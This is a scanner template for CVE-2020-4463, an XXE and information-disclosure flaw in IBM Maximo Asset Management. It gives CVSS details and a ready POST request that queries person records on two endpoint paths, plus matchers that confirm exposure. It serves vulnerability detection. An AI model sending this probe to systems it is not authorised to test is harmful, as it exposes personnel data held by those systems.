id: CVE-2020-4463

info:
  name: IBM Maximo Asset Management Information Disclosure via XXE
  author: dwisiswant0
  severity: high
  description: |
    IBM Maximo Asset Management is vulnerable to an
    XML External Entity Injection (XXE) attack when processing XML data.
    A remote attacker could exploit this vulnerability to expose
    sensitive information or consume memory resources.

  reference:
    - https://www.ibm.com/support/pages/security-bulletin-ibm-maximo-asset-management-vulnerable-information-disclosure-cve-2020-4463
    - https://github.com/Ibonok/CVE-2020-4463
  tags: cve,cve2020,ibm,xxe,disclosure
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
    cvss-score: 8.20
    cve-id: CVE-2020-4463
    cwe-id: CWE-611

requests:
  - method: POST
    path:
      - "{{BaseURL}}/os/mxperson"
      - "{{BaseURL}}/meaweb/os/mxperson"
    body: |
      <?xml version='1.0' encoding='UTF-8'?>
      <max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
        <max:MXPERSONQuery></max:MXPERSONQuery>
      </max:QueryMXPERSON>
    headers:
      Content-Type: application/xml
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/xml"
        part: header
      - type: word
        words:
          - "QueryMXPERSONResponse"
          - "MXPERSONSet"
        part: body